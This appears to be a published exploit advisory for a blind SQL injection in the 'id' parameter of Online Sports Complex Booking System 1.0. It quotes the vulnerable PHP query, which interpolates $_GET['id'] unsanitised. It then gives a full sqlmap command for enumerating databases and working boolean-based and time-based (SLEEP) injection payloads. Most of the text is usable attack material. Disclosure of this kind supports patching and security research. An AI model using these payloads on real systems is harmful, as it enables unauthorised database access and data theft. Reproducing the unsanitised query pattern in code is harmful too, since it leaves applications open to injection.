Online Sports Complex Booking System 1.0 SQL Injection

`# Exploit Title: Online Sports Complex Booking System - 'id' Blind SQL Injection  
# Date: 24/03/2022  
# Exploit Author: Saud Alenazi  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html  
# Version: 1.0  
# Tested on: XAMPP, Linux  
  
  
  
# Vulnerable Code  
  
line 3 in file "/scbs/view_facility.php"  
  
$qry = $conn->query("SELECT f.*, c.name as category from `facility_list` f inner join category_list c on f.category_id = c.id where f.id = '{$_GET['id']}' ");  
  
  
# Sqlmap command:  
  
sqlmap -u 'http://localhost/scbs/?p=view_facility&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta  
  
# Output:  
  
Parameter: id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: p=view_facility&id=1' AND 9877=9877 AND 'MVfb'='MVfb  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: p=view_facility&id=1' AND (SELECT 8456 FROM (SELECT(SLEEP(5)))ZnUC) AND 'GiOo'='GiOo  
  
`